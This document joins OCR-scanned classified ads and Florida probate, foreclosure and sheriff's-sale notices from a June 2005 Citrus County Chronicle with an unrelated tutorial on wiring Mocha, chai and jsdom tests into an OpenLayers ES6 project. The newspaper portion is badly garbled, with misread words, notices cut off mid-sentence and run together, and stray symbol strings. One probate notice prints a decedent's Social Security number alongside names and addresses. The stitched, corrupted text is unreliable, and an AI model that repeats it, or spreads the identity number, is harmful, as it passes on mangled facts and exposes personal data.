860-2408 MARATHON 1988, Weekender, 21FT, 165HP rebuilt FWC Mercrulser, 1/O, w/trailer many extras, asking $4,500 (352) 489-8050 MERCURY CRUISER 22FT, Inboard, $2,000 as Is. (352) 344-9225 PONTOON BOAT 1987, 20', 60HP Mariner, $3500 or best offer (352) 422-0657 PROLINE 23FT t-tops, twlnlnI. $10,500. 352-422-4706 QUICKSILVER 2001 Inflatable fun boat. w/2004 15HP Merc. Trailer, many extras, $2700. (352) 628-9875 RENKEN '88 20FT, cuddy cabin, Mercrulser, I/O, depth finder, trailer, $2,000 (352) 726-4490 SEADOO 1989, Jet Boat Seadoo, fresh water use, over- hauled pumps & carbs, many parts. Excel. cond. In and out. Many extras. $13,500 OBO (352) 382-7039 SEARAY 1974, Weekender, twin 165cc Chevy Straight 6, I/O Merc Cruiser. Great ocean boat $4,000 obo .352-621-3636/422-5484 SILVERTON FUN BOAT! 1987, 34 Ft., runs great $25,000 OBO (352) 249-6982 or 249-6324 SPORT FISHERMAN 29' all fiberglass with trailer. New Perkins 6.354 turbo diesel. $29,000 obo. 302-0684 SUNBIRD '91, 16FT, 70HP Johnson, trailer, $2,800 obo (352) 344-4609 2003 MASTER TOW CAR DOLLY, new 13" wheels, tires, spare wh. WINNEBAGO 1992 Chieftain, 32' I", 454 Chev. Kept In full hook-up carport. Never smoked in. Only 55,210 ml. Very well main- talned. New tires. Air cond, & fan. Bat. dis- connects, wood floor- ing. Plenty of storage. Smooth running gener- ator $22,000. Ready to Gol (352) 621-0224 K 2000, LaSabre, grand touring pkg., leather, 1 owner, garaged, like new, $9,300 341-4804 BUICK '95 Rivlera,Supercharge 3.8, Joaded, well malnt., clean, sharp $4,990 (352) 860-1948 CADILLAC '01 Seville 81K ml., white Custom top & wheels, must see $14,000 (352) 637-6895 CADILLAC '91 Coupe De Ville, 83,600 ml, Red w/white leather upholstery. Real beauty, garage kept. Landau top, nearly new tires. $2500. (352) 344-8068 CADILLAC '96 DeVille. Mint. Lady, owned.Garaged. North Star engine, Bluebook $6975 obo. 746-4160 CHEVROLET 1992, Corsica, 4 dr, only 75K, A/C, automatic, pwr locks, cruise, exc. cond., $2,900. (352) 613-5630 Did You Know That Sometimes You can Make more money donating your vehicle by taking It off your taxes then trading It in, Donate It to the THE PATH (Rescue Mission for Men Women & Children) at (352) 527-6500 4 LIGHT TRUCK TIRES P265-70R17, $75 (352) 637-5389UNE BUGGY PROJECT 2 fiberglass bodies, 1 VW chassis, 2 VW motors, 1 runs, 4 VW transm. $1,250 takes all (352) 563-5225 Ford 4 cylinder engine parts, $50. '79 to '83 Mustang hood, door & front end, $75. (352) 746-7908 ROADMASTER Heavy duty tow dolly, self-steer, model 2000-1, w/elec, brakes, VGC. New $2429, asking $600. Remco Drive Line Disconnect w/drlve shaft for 93-97 Chev Astro or Safari van, Includes base tow bracket, $400. Hernando off Rt.200. 1-877-567-0316 TOW MASTER TOW DOLLY Straps and lights. Firm cash, $600. (352) 795-7952 WEDNESDAY,JUNE 1, 2005 11C 20 lawi cm~eicA 4 CREDIT REBUILDERS $500-$1000 DOWN & U-DRIVE Clean, Safe Autos CONSIGNMENT USA 909 Rt44&US19Alrport 564-1212 or 212-3041 DODGE 2000 Stratus, 4 door. Loaded, CD. Always serviced. Lease return. Poss.fln. 352-344-2472 FORD 1991 Mustang. 2.3 LX New engine & trans $2500. (352) 746-7908 FORD 1997 Crown HONDA ACCORD 1989 $1500.00 good gas mileage, automatic, reliable transportation. Call mornings please (352) 746-0145 LINCOLN 1990 Town Car burgundy, 199K. Runs well but no AC. $1000. (352) 489-7475 LINCOLN 1998, Continental, 72K cold A/C. leather seats, exc. cond, $8,500. (352) 527-6894 LINCOLN '96, Signature Towncar, Jack Nicklaus, wht, w/ burgundy cloth top, 22-25 mil per gal. 113k ml. excel cond. $7,000. obo (352) 628-3363 Beauty! Convert 5spd 86k,Runs great 1999, Convertible/ Spider, Black w/ leather Interior, 72K ml. $8,150 (352) 302-8376 MITSUBISHI '99, 3000 GT, as new Inside out and mechanically 45k ml. $12,900 (352) 527-6553 NISSAN 2000 Alflma GXE-88,82 By Owner '01, Grand Prix GT, 4D, loaded 37k ml. excel, cond, $9,699. Call (352) 795-1819 POSTAL JEEP Look & run gd. $1200 (352) 382-3132 TOYOTA '98 Corolla, 1 owner, well maintained 30+ mpg. Cruise control, AC, tape, below blue book, $4500., (352)422-6144 TOYOTA CAMRY '00, sliver, loaded, Ithr, alloys, sunroof, exc. cond. 50K ml, $10,200. (352) 527-3965 VOLVO '92 wgn, Auto, ac, all pwr, sunroof. Leather, approx. 112K like new, $3500 firm. 628-1029 VW BUG 1966, nlce body, needs engine and other work. $1800. After 4:30, (352) 212-6701 '02 Chrysler Town & Country LX All pwr. Blue. Call Richard 726-1238 FORD 1994 Bronco nice shape, (352) 795-1902 FORD EXPEDITION, 2000. Eddie Bauer, loaded, exc. cond. 73K, $13,000 (352) 628-1332 HONDA 2000 Passport, great cond. All power, incl. 100K ml. warr. $10,500 (352) 344-4453 JEEP 1994, Wrangler 5-spd., cloth top, bikini top. Excel. cond., $5,700 Daytime 563-3256 or Evening 527-2651 JEEP CHEROKEE Laredo, 1999, black, 4WD. 1-owner, good condition. (352) 563-1456 NISSAN 1988 Pathfinder, good condition. Runs great. $2500 (352) 382-3110 AUTO/SWAP/CAR CORRAL SHOW Sumter Co. Fairgrounds Florida Swap Meets June 5th 1-800-438-8559 CORVAIR 1964 Prime Condition Inside & Out. $6,500. (352)489-1672 MERCURY COUGAR 1970, Interior done, 351 Cleveland w/MSD kit, very fast, $4,200 (352) 344-9575 cell 613-5487 44, Aulo, Air, Clean.................$6,975 '00 DODGE DAKOTA IT 5.9 V, Auo, Awesome... ,980 '00 FORD RANGER XLT Xlra Cab, AT, V6, Low Miles. $9,990 '00 DODGE RAM 1500 SLT Extra Cb, Ao, V, $10,950 4Dr. Quad Cab, Loaded..$15,950 BIG TRUCK SALE WE FINANCE MOST CONSIGNMENT USA 564-1212 or 212-3041 CHEVROLET 2001 LS Xtreme, 20K mi., $18,500 (352) 637-6449 (352) 302-5543 (cell) DODGE 1993, Ram 250, Cummins diesel, $4,700 (352) 563-2563 DODGE RAM 1995, 70K ml. V-8, auto. trans. Trailer hitch, topper, $4900. (352) 422-3998 DODGE RAM Quad cab, 2002, V-8, all power, auto, transferable warr. $14,500. (352) 527-0832 a FORD 1986 Ranger w/new paint job. 351 Windsor C-6 trans.B&M shifter, $1500 obo. 795-8968 FORD 1995 150 pickup, Air, toolbox, bedllner, new tires, 6-cyl. SWB, $2,500 obo (352) 726-5596 FORD 1996, F150, Black short bed $3,100 (352) 302-8376 GMC '99 2500 Sierra SLE 4x4, new paint, custom hood, too many extras to mention $11,995 obo (352) 726-4759 ISUZU 1989 Pickup, 5-spd. w/tool box. $800 OBO (352) 621-3636 MAZDA 2001 B3000 dual sport Auto, 79,000 ml. Tow pkg, Bedliner & cover. 7700. (352) 586-7140 TOYOTA 1984 P/U, 22R, new clutch, A/C, topper, runs good, $2,000 obo (352) 464-0818 TOYOTA 1985 Pickup, new engine, chrome wheels, clean, $1,500 (352) 726-4759 TOYOTA TACOMA 2004 Extra cab with cap, liner, 4-cyl. 2.4 litre, A/C, 5-spd manual, 8K, ABS, loaded, exc. cond. (352)341-0187 "MR CITRUS COUNTt" ALAN NUSSO BROKER Associate Real Estate Sales Exit Realty Leaders (352) 422-6956 DUCATI 1993, 888 SPO. Senior owned. Pristine. Just serviced. 8k mi. Offers. Cash &/or trades (352) 746-1366 or 634-4685 HARLEY DAVIDSON BEER CANS Full Set 1984-2000 all unopened, $350/obo (352) 795-0330 HARLEY DAVIDSON Blue1979 Sportster, 14,500 ml. Windshield, saddle bags. Buddy seat. Asking $4,000. (352) 586-9498 ml. factory cust. paint, WS garaged, mint. $5,500. 352-382-0005 NORTON 1974, Commando, $4,700. 352-302-6813 '95, Virago, 750cc, lots of access., Must see. $1,500. (352) 212-7533 774-0608 WCRN Notice to Creditors Estate of James T Rohrig PUBLIC NOTICE IN THE CIRCUIT COURT FOR CITRUS COUNTY, FLORIDA PROBATE DIVISION File No. 2005-CP-663 IN RE: ESTATE OF JAMES T. ROHRIG, Deceased. NOTICE TO CREDITORS The administration of the estate of James T. Rohrig, deceased, File Number 2005-CP-663, is pending In the Circuit Court for Citrus County, Florida, Probate Division, the address of which is 110 North Apopko 1, 2005. Personal Representative: -s- THOMAS J. ROHRIG "W Air :. wja.f=7- .,, 561- 6,.r726. 4441 (I I 563596 "'2614 ., I ... -1. .. .i : I I FORD 1989, ranger 4x4, full size bed, 2.3 engine, manual 4 spd w/ over- drive, 31x10.50x15 tires, $1695 (352)563-2583 TOYOTA TACOMA 1998 4X4 shortbed with shell, 4-cyl, 97K ml $6,300 (352) 637-4460 DODGE 1994 Caravan, runs good, $1200 or best offer. (352) 628-3510, leave message. FORD 1988 E-150, Artie Grindle conversion van, fully loaded,enhanced electrical system, deluxe Interior, Refrig., sink & bed. Cold A/C, runs & looks good Sacrifice $3,500 obo (352) 228-0304 GMC 1999, Safari, fully load- ed, V6,104k ml., clean, good shape, $4,500 OBO (941)268-1258 PLYMOUTH '88 Voyagergood body good Interior, engine needs work. $500 obo. 628-9949 afterl2 noonA/341-5623 CrrTorrc TNrrTrrv (FL) ruanc3rrvn c/o 452 Pleasant Grove Road Inverness, FL 34452 (352) 726-0901 Attorney for Personal Representative: -s- MARIE T. BLUME Attorney Florida Bar No. 0493181 Haag. Friedrich & Blume. PA. 452 Pleasant Grove Rd. Inverness, FL 34452 Telephone (352) 726-0901 Published two (2) times in the Citrus County Chroni- cle, June 1, and 8, 2005, 765-0601 WCRN Notice to Creditors Estate of Walter L Patterson PUBLIC NOTICE IN THE CIRCUIT COURT FOR CITRUS COUNTY, FLORIDA PROBATE DIVISION File No. 2005-CP-635 Division: Probate IN RE: ESTATE OF WALTER L. PATTERSON, Deceased. NOTICE TO CREDITORS The administration of the estate of WALTER L. PAT- TERSON, deceased, whose date of death was April 15, 2005,-SHERI D. BENKA 12205 S. Gladiolus Point Floral City, Florida 34436 Attorney for Personal Representative: , -s- STEVEN H.L. BOWMAN, ESQUIRE BOWMAN AND WILSON, Attorneys Florida Bar No. 43496 611 U.S. Highway 41 South Inverness, Elorda 34450 Telephone: (352) 726-3800 Published two (2) times In the Citrus County Chroni- cle, May 25, and June 1, 2005. 768-0601 WCRN Notice of Administration Estate of Francis E. Jenkins PUBLIC NOTICE IN THE CIRCUIT COURT FOR CITRUS COUNTY, FLORIDA PROBATE DIVISION File No. 2005-CP-624 Division: Probate IN RE: ESTATE OF FRANCIS E. JENKINS, Deceased.' NOTICE OF ADMINISTRATION (Testate) ,The administration of the estate of Francis E. Jen- kins, deceased, Is pend- ing In the the Circuit Court for Citrus County, Florida, Probate Division, Sthe address of which Is 110 N. Apopka Avenue, Inverness, FL 34450. The estate is testate and the date of the decedent's Will is January 23, 2004. The names and addresses of the personal represent- ative and the personal representative's attorney are set forth below. Any interested person on whom a copy of the no- tice of administration Is served must object to the validity of the will (or any codicil), qualifications of the personal representa- tive, venue, or jurisdiction of the court, by filing a petition or other pleading requesting relief in ac- cordance with the Florida Probate Rules, WITHIN 3 MONTHS AFTER THE DATE OF SERVICE OF A COPY OF THE NOTICE ON THE OBJECTING PERSON. OR THOSE OBJECTIONS ARE FOREVER BARRED. Any person entitled to exempt property Is re- quired to file a petition for determination of exempt property WITHIN THE TIME PROVIDED BY LAW OR THE RIGHT TO EXEMPT PROPER- TY IS DEEMED WAIVED. Any person entitled to elective share Is required to file an election to take- elective share WITHIN THE TIME PROVIDED BY LAW.69-0601 WCRN Notice to Creditors Estate of Francis E. Jenkins PUBLIC NOTICE IN THE CIRCUIT COURT FOR CITRUS COUNTY. FLORIDA PROBATE DIVISION File No, 2005-CP-624 Division: Probate IN RE: ESTATE OF FRANCIS E. JENKINS, Deceased. NOTICE TO CREDITORS The administration of the estate of Francis E. Jen- kins, deceased, whose date of death was March 21, 2005, and whose So- cial Security Number is 371-05-1331, [uNE 1,200573-0608 WCRN Notice of Admlnstration Estate of Dorothy Papa PUBLIC NOTICE IN THE CIRCUIT COURT FOR CITRUS COUNTY, FLORIDA PROBATE DIVISION FILE NO. 2005-CP-639 IN RE: ESTATE OF DOROTHY POPA, Deceased. NOTICE OF ADMINISTRATION The administration of the estate of DOROTHY POPA. deceased, File number 2005-CP-639, Is pending In the Circuit Court for Citrus County, Florida, Probate Division, the address of which Is 110 North Apopka Avenue, Inver- ness, FL 34450. The names and addresses of the personal representa- tive and the personal rep- resentative's attorney and other persons having claims or de- mands against the the Court WITHIN THREE MONTHS AF- TER THE DATE OF THE FIRST PUBLICATION OF THIS NO- TICE, ALL CLAIMS, DEMANDS AND OBJECTIONS NOT SO FILED WILL BE FOREVER BARRED. The date of first publica- tion of this Notice Is June 1, 2005. -s- James F. Spindler, Jr. 3858 North Citrus Avenue Crystal River, FL34428 (352) 795-4468 FBN: 0129641 Attorney for Personal Representative Elaine Marie Moorhead 914 Wesley Drive Waukesha, WI 53189 (262) 650-0862 Published two (2) times In the Citrus County Chroni- cle, June 1. and 8, 2005. 775-0608 WCRN Notice to Creditors (Summary Administration) Estate of William J. Petley PUBLIC NOTICE IN THE CIRCUIT COURT FOR CITRUS COUNTY FLORIDA PROBATE DIVISION File No: 2005-CP-585 IN RE: ESTATE OF WILLIAM J. PETLEY, a/k/a WILLIAM JERRARD PETLEY, Deceased. NOTICE TO CREDITORS (Summary Administration) TO ALL PERSONS HAVING CLAIMS OR DEMANDS AGAINST THE ABOVE ES- TATE: You are hereby notified that an Order of Summary Administration has been entered In the estate of WILLIAM J. PETLEY de- ceased, File Number 2005- CP-585, by the Cir- cuit Court for Citrus Coun- ty, Florida, Probate Divi- sion, the address of which Is 110 N. Apopka Avenue, Inverness, Florida 34450; that the decedent's date of death was December 9, 2004; that the total val- ue of the estate is $9,000.00 and that the names and addresses of those to whom it has been assigned by such or- der are: Sandra A. Petiey 5471 W. Mannis Court Homosassa, FL 34446 ALL INTERESTED PERSONS ARE NOTIFIED THAT: All creditors of the estate of the decedent and per- sons having claims or de- mands against the estate of the decedent other than those for whqm 1, 2005. Person Giving Notice: -s- Sandra A. Petley 5471 W. Mannis Court Homosassa, Florida 34446 Attorney for Person Giving Notice: -s- John S. Clardy, III Florida Bar No, 123129 Crider Clardy Law Firm PA PO Box 2410 Crystal River, Florida 34423-2410 Telephone: (352) 795-2946 Published two (2) times In the Citrus County Chroni- cle, June 1, and 8, 2005. 776-0601 WCRN PUBLIC NOTICE NOTICE IS HEREBY GIVEN that the Capital Im- provements Meeting will be held on Wednesday, June 8, 2005, at 9:00 o'clock A.M., at the Lecanto Government Building, located at 3600 West Sovereign Path, Room 219, Second Floor, Lecanto, Florida, to con- duct its regular meeting. Capitali- cle, June 1, 2005. 796-0601. 1993 MERCURY COUGAR Color: Teal VIN #: 1MEPM6241PH64938 Auction Date: 6/20/2005 Published one (1) time in the Citrus County Chroni- cle, June 1, 2005. 763-0601 WCRN PUBLIC NOTICE By reason of default, Homosassa Storage, Inc., 8787 S. Suncoast Blvd., Homosassa, Florida 34446, will sell the personal prop- erty stored in Unit #C026, a 10'x10' unit, household goods of John Kelly. This public sale shall take place Thursday, June 16, 2005, 9 a.m. 4 p.m. Published two (2) times in the Citrus County Chroni- cle. May 25, and June 1, 2005. 770-0622 WCRN Notice of Action Paul M. Stees vs. Charles E. Moore, et al. PUBLIC NOTICE IN THE CIRCUIT OF THE FIFTH JUDICIAL CIRCUIT IN AND FOR CITRUS COUNTY, STATE OF FLORIDA CASE NO. 2005 CA 1013 PAUL M. STEES, Plaintiff, vs. CHARLES E. MOORE, and ALL KNOWN AND UNKNOWN HEIRS, DEVISEES, GRANTEES. OR ASSIGNEES OF CHARLES E. MOORE; A1A TITLE LOANS & CHECK CASHING, INC.; DEBORAH L. HUGHES; DEPARTMENT OF REVENUE. STATE OF FLORIDA 0/B/O SANDRA BECKWITH; SEMINOLE STORES DIVISION, A DIVISION OF BRANCH PROPERTIES, INC. F/K/A SEMINOLE STORES, INC. and FRED'S EXCAVATING & CRANE SERVICE, INC., Defendants. NOTICE OF ACTION TO: DEBORAH L HUGHES 2200 SW 186th Court Dunnellon, FL 34432-1526 YOU ARE HEREBY NOTIFIED that a complaint to Quiet Ti- tle on the following real property located In Citrus County, Florida: Lots 32, 33 and 34, Block 15, Holiday Heights, Unit 1, ac- cording to the map or plot thereof as recorded In Plat Book 4, Pages 61 through 62 inclusive, of the Public Records of Citrus County, Florida. has been filed against you and you are required to serve a copy of your written defenses, If any, to It on NICOLE E. DURKIN, ESQUIRE, Plaintiff's attorney, whose address Is 5999 Central Avenue, Suite 202 St. Peter- burg, FL 33710, on or before July 1, 2005, and file the original with the Clerk of this Court either before service on Plaintiff's attorney or Immediately thereafter; other- wise a default will be entered against you for the relief demanded In the Complaint or Petition. WITNESS, Clerk of the Circuit Court, and the seal of said Court, at the Courthouse, Inverness, Citrus County, Flori- da. Dated: May 24, 2005. BETTY STRIFLER Clerk of Courts Fifth Judicial Circuit (CIRCUIT COURT SEAL) By: -s- Marcia A. Michel Deputy Clerk Published four (4) times in the Citrus County Chronicle, June 1, 8, 15, and 22, 2005. 757-0608 WCRN Notice of Action Richard A. Corbett v. Betty S. Pickett, et al. PUBLIC NOTICE IN THE CIRCUIT COURT OF THE FIFTH JUDICIAL CIRCUIT IN AND FOR CITRUS COUNTY, FLORIDA Case No.: 2004 CA 2537 RICHARD A. CORBETT. Plaintiff, v. BETTY S. PICKETT, and all parties claiming by, through, under or against the herein named Defendant, who Is not known to be dead or alive, whether said unknown parties claim as heirs, devisees, grantees, assignees, Ilenors, creditors, trustees, spouses, or other claimants. Defendant. NOTICE OF ACTION TO: BETTY S. PICKETT, and all parties claiming by, through, under or against the herein named Defend- ant, who Is not known to be dead or alive, whether sold unknown parties claim as heirs, devisees, grantees, assignees, Ilenors, creditors, trustees, spouses, or other claimants. Current residence unknown, but whose last known ad- dresses were: 1508 Lancaster Drive, Leesburg, Florida 34748; and 2210 East Main Street, Leesburg, Florida 34748-8736. YOU ARE NOTIFIED that an action to quiet title to real property situate In Citrus County, Florida, and de- scribed by Tax Deed No. 2003-121, dated August 13, 2003. and recorded in Official Record Book 1630, at Pages 2449 2450, of the public records of Citrus Coun- ty, Florida, as follows: Exhibit A Tax Deed #2003-121 Parcel A Adj To St Martins Est Rets Unit 1: Beg At N Car Of Lt 60 Bik A PB 4 PG 27, Th N 63 Deg 56M 49S E Al SE'LY R/W Ln Of Estuary Dr 83.85 Ft To Pt On SWLY R/W Ln of Co Rd, Th S 66 Deg 48M 40S E Al R/W 117.04 Ft, Th S 21 Deg 3M 4S E 264.16 Ft MOL To Salt Wtr Bay, Th Al Wtr FOL Courses & Dis: S 41 Deg 25M 40S W 38.68 Ft, Th N 42 Deg 53M 10S W 143.26 Ft, Th N 78 Deg 16M 40S W 69.06 Ft To Pt On NE'LY Bdry of Lot 60, Th N 27 Deg 42M 51S W Al NE'LY Bdry 187.28 Ft MOL To POB Desc In OR BK 321 PG 36 More particularly described by the Warranty Deed dat- ed October 13, 1972, and recorded In Official Record Book 321, at Page 36, of the public records of Citrus County, Florida, as follows: Parcel A, adjacent to Unit 1, St. Martins Estuary Retreats: Begin at the most Northerly corner of Lot 60, Block A, St. Martins Estuary Retreats, Unit 1, according to the map or plat thereof as recorded in Plat Book 4, Page 27, public records of Citrus County, Florida, thence North 63* 56' 49" East along the Southeasterly right-of-way line of Estuary Drive as shown on said plat, a distance of 83.85 feet to a point on the Southwesterly right-of-way line of a County Road, thence South 66 48' 40" East along said right-of-way line a distance of 117.04 feet, thence leaving said right-of-way line South 21 03' 04" East 264.16 feet, more or less,. to the waters of a Salt Water Bay, thence along said waters the fol- lowing courses and distances: South 41" 25' 40" West 38.68 feet, thence North 42 53' 10" West 143.26 feet, thence North 78 16' 40" West 69.06 feet to a point on the Northeasterly boundary of the aforementioned Lot 60, thence North 27" 42' 51" West along said Northeast- erly boundary a distance of 187.28 feet, more or less, to the point of beginning: Containing 0.89 acres, more or less: has been filed against you and you are required to serve a copy of your written defenses, if any, to It on Joseph M. Mason, Jr, Esquire, of McGee & Mason, PA., the Plaintiffs attorney, whose address Is 101 South Main Street, Brooksville, Florida 34601-3336, on or before June 17, 2005, and file the original with the clerk of this court either before service on the Plaintiff's attorney or immediately thereafter; otherwise a default will be en- tered against you for the relief demanded In the com- plaint or petition. DATED on May 10, 2005. BETTY STRIFLER As Clerk of the Court By: -s- Marcia A. MIchel As Deputy Clerk Published four (4) times In the Citrus County Chronicle, May 18, 25, June 1, and 8, 2005. 760-0615 WCRN PUBLIC NOTICE NOTICE OF SHERIFF'S SALE NOTICE IS HEREBY GIVEN THAT pursuant to a Writ of Execution issued in the COUNTY Court of CITRUS County, Florida on the SECOND day of FEBRUARY, 2004, in the cause wherein F.A. MANAGEMENT SOLUTIONS, INC., was plaintiff, and PAT TYRONE ZARING was defendant, being Case No. 2003-sc-4279 in said Court, I, JEFFREY J. DAWSY, as SHERIFF OF CITRUS County, Florida, have levied upon all the right, title and interest of the above-named Defendant, PAT TYRONE ZARING, in and to the following described real property, to-wit: 2002 SILVER MAZDA TRIBUTE VIN: 4F2YU09192KM11620 TAG NO.: CN47Z and on the 6th day of JULY, 2005 at ED'S AUTO REPAIR & TOWING SERVICE, 4610 SOUTH FLORIDA AVENUE, in INVERNESS, Citrus County, Florida, at the hour of 11:00 AM, or as soon thereafter as possible, I will offer for sale all of the said Defendant, PAT TYRONE ZARING, right, title and interest in the aforesaid property at public outcry and will sell the same, subject to all prior liens, encumbrances and judgments, if any, to the highest bidders for CASH, the proceeds to be applied as far as they may be to the pay- ment of costs and the satisfaction of the above-described execution. In accordance with the Americans with Disabilities Act, per- sons with disabilities needing special accommodations to participate in this proceeding should contact the ADA coor- dinator, telephone (352) 341-6400 not later than (7) days prior to the proceedings. If hearing impaired, (TDD) 1-800- 955-8770, via Florida Relay Service. JEFFREY J. DAWSY, AS SHERIFF CITRUS COUNTY, FLORIDA -s- Nancy Boutlette (Civil Deputy) Published four (4) times in the Citrus County Chronicle, May 25, June 1,8, and 15, 2005. 762-0601 WCRN Notice of Action Bank One, N.A., etc, vs. Jeanne Duncan, et al. PUBLIC NOTICE IN THE CIRCUIT COURT FOR CITRUS COUNTY, FLORIDA CIVIL DIVISION CASE NO. 2005-CA-1488 UCN: 092005CA001488XXXXXX BANK ONE, N.A. AS TRUSTEE OF THE AMORTIZING RESIDENTIAL COLLATERAL TRUST, 2002-BC1, Plaintiff, vs. JEANNE DUNCAN A/K/A JEANNE VASAYA; et al., Defendants. NOTICE OF ACTION TO: WALLACE J. DUNCAN Last Known Address: 4576 South Quiet Terrace Homosassa, FL 3446 YOU ARE NOTIFIED that an action to foreclose a mort- gage onthe following described property in Citrus County, Floridda: UNE DEGREES 44' 46" W PARALLEL TO SAID NORTH LINE A DISTANCE OF 272.07 FEET TO [HE POINT OF BEGINNING. SUBJECT TO AN EASEMENT ACROSS THE FOLLOWING DESCRIBED LAND FOR ROAD RIGHT OF WAY; COMMENCE AT THE SW CORNER OF THE NE 1/4 OE THE SW 1/4 OF SECTION 30, TOWNSHIP 19 SOUTH, RANGE 18 EAST, THENCE NORTH 0. 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Developing an OpenLayers app from scratch in ES6 using Mocha, Webpack and Karma: Mocha tests
… where we start testing our application.
Tentatively testing
Now that we’ve prepared our code for the modularisation to come, we should start thinking about using other good software engineering practices such as testing in our project. I find that getting testing up and running in a software project to be notoriously difficult in the beginning, but once one has a certain degree of momentum, then testing becomes much easier and more natural. I find it difficult because it’s not always obvious what to test at the beginning and that most of my initial tests are quite banal in nature. I’ve had to realise that these initial tests are like “trainer wheels” on a bike: they’re there to get you started and once you’ve got the hang of things, they can be removed. But still, there’s the question: what to test first? As soon as I pose this question to myself, I find it helps to sit back and think about what the smallest, most fundamental thing that would be testable would actually be. Often, I find this process to be iterative and that my first attempts at writing an initial test are not fundamental enough, or aren’t specific enough to make a good test. This isn’t a problem and is often a good process to go through because thinking is an important part of the process.
In the current project, one instinct might be to check if the
map object
is not
undefined or not
null or something like that. This isn’t a bad
first step, however asking if a thing isn’t “nothing” isn’t as positive
(or as specific) as asking if it is something. So how do we do that in
the current code? We can see that a
map object contains a
view object
and that the view has a
center property which has a well-defined value.
This is a good thing to test, because we’re testing a very explicit value,
which makes the test condition easy to define. This has the positive
side-effect that we’re also testing for the existence of a valid
map
object, which also satisfies our initial intuition of what to test. We can
therefore formulate our initial test like this:
The array of the longitude and latitude of the centre attribute of the map’s view should equal [14.44, 50.07].
Let’s now turn this into code.
But first, a bit of infrastructure. It’s helpful to use a testing framework
within which to define and run your tests. As with almost all programming
languages, there are many to choose from, and I’ve chosen for this project
the
mocha test framework because it is mature and
well established within the JavaScript programming community and it has
support for many extensions. One of which is the
chai assertion library, which we’ll use to
describe how we assert that our expectations of the code are correct. I
quite like the
BDD-style of
writing test assertions and hence I’m going to use the
“should” style within chai.
Before we can write our test, we have to install the relevant dependencies:
$ npm install --save-dev mocha chai
By default, mocha expects test files to be within a directory called
test,
so let’s create that:
$ mkdir test
Now create a file within the
test directory called
map-test.js and add
the following code:
import 'chai/register-should'; import map from '../src/js/index.js'; describe('Basic map', function () { it('should have a view centred on Prague', function () { map.getView().getCenter().should.deep.equal([14.44, 50.07]); }); });
Now we’ve got our first test! Yay!
This code deserves some explanation. The first line imports the
chai
assertion library and registers the
should style so that we can say things
like
someObject.should.equal(someValue) which reads quite well and is also
executable code (also nice to have). Then we import the
map variable from
our main code (note that we’ve not yet exported this variable, but we’ll
come to that). We then define a test suite with a
describe block; such
a block describes the group of tests within the suite. The
it() function
then contains (and describes, via its own description text) the actual test
to run, which is then an executable version of the test we described in
words earlier.
To run the test suite, we can use the
npx command again:
$ npx mocha
which will die horribly and give you a huge stacktrace. The most important part of the output is at the beginning:
/path/to/arctic-sea-ice-map/test/map-test.js:1 /home/cochrane/Projekte/PrivatProjekte/arctic-sea-ice-map/test/map-test.js:1 import 'chai/register-should'; ^^^^^^ SyntaxError: Cannot use import statement outside a module
This is mocha trying to tell you that it doesn’t know about the
import
statement and hence it doesn’t know about ES6 modules. The fix for this is
to use the
esm module, which we now have to install via
npm:
$ npm install --save-dev esm
and we have to tell mocha to use this module when running the tests:
$ npx mocha --require esm
Again, this will die horribly, however this time with a different stacktrace. Again, the first few lines hint at what the problem is and potentially how to solve it:
/path/to/arctic-sea-ice-map/node_modules/ol/ol.css:1 .ol-box { ^ SyntaxError: Unexpected token .
This is telling us that mocha doesn’t know about CSS files, which is fair
enough because we’re trying to run JavaScript code here and not CSS.
Therefore, we need to tell mocha to ignore CSS files, and to do that we need
to install the
ignore-styles module and tell mocha to use it:
$ npm install --save-dev ignore-styles $ npx mocha --require esm --require ignore-styles
Guess what? It still barfs. But this time we find that a variable called
window is not defined:
/path/to/arctic-sea-ice-map/node_modules/elm-pep/dist/elm-pep.js:1 ReferenceError: window is not defined
What does this mean? Well, note that we’re using
node to run JavaScript
tests and that JavaScript will ultimately run in a browser, and a browser
will always have a
window object defined in its global namespace. So how
do we trick
node (a browser-less environment) into thinking that it has such
a variable? Enter
jsdom, a JavaScript version of the browser’s
DOM. We need this to
work in the global namespace that mocha will be working in so we need to
install
jsdom and
jsdom-global:
$ npm install --save-dev jsdom jsdom-global
And we can try running the tests again; this time we also have to tell mocha
about
jsdom-global:
$ npx mocha --require esm --require ignore-styles --require jsdom-global/register
And … it barfs again. However, this time we don’t get a stacktrace, we get help output from mocha and the error:
/path/to/arctic-sea-ice-map/test/map-test.js:1 import 'chai/register-should'; SyntaxError: The requested module '' does not provide an export named 'default'
This is a good sign! Remember how I mentioned above that we’d not exported
anything from
index.js even though we’d “modularised” it? This is what
the error message is trying to tell us: we’ve not exported anything yet from
the thing we’re trying to import stuff from. Add the line
export { map as default };
to the end of
index.js and run
$ npx mocha --require esm --require ignore-styles --require jsdom-global/register
again. It works! Well, the test suite runs (which is good), but the test fails (which is bad), however we’ve managed to get the infrastructure wired up so that we can now start developing the code in a much more professional manner.
I’m getting tired of having to write this long
mocha command line each
time, so how about we turn this into
npm and
make targets?
First, add these lines to the
Makefile:
test: npm run test
and add the
test target to the list of
.PHONY targets so that it always
runs:
.PHONY: build test
Now replace the value of the
test key in the
scripts section in
package.json:
"test": "mocha --require esm --require ignore-styles --require jsdom-global/register",
Now you can run the test suite with the command
make test.
The output from the test run should look something like this:
Basic map 1) should have a view centred on Prague 0 passing (46ms) 1 failing 1) Basic map should have a view centred on Prague: AssertionError: expected [ Array(2) ] to deeply equal [ 14.44, 50.07 ] + expected - actual [ - 1607453.4470548702 - 6458407.444894314 + 14.44 + 50.07 ] at Context.<anonymous> (test/map-test.js:7:43) at process.topLevelDomainCallback (domain.js:120:23)
This is trying to tell us that the numbers we expected in the array are
rather different to those that we got back from the
getCenter() function
in the test. Why is this? Remember that we used the function
fromLonLat() in
index.js? This is because we had to convert the
longitude and latitude values (in degrees) into the relevant map units
(which are basically in metres relative to the point (0, 0); more on this
topic later) and so roughly 14 degrees longitude (east) is 1607453 m along
the x-axis and roughly 50 degrees latitude (north) is roughly 6458407 m
along the y-axis. Anyway, what we have to do is convert the centre
position we get back from
getCenter() into a longitude/latitude pair and
compare that with our expected value.
Let’s change our test to read like this:
it('should have a view centred on Prague', function () { const mapCenterCoords = toLonLat(map.getView().getCenter()); mapCenterCoords.should.deep.equal([14.44, 50.07]); });
where we’ve extracted the coordinates of the centre location into a variable
and we’re checking that this variable matches what we expect. We also need
to import the
toLonLat() function, so add this code to the list of
import statements at the top of the test file:
import {toLonLat} from 'ol/proj';
Running
make test again gives this output:
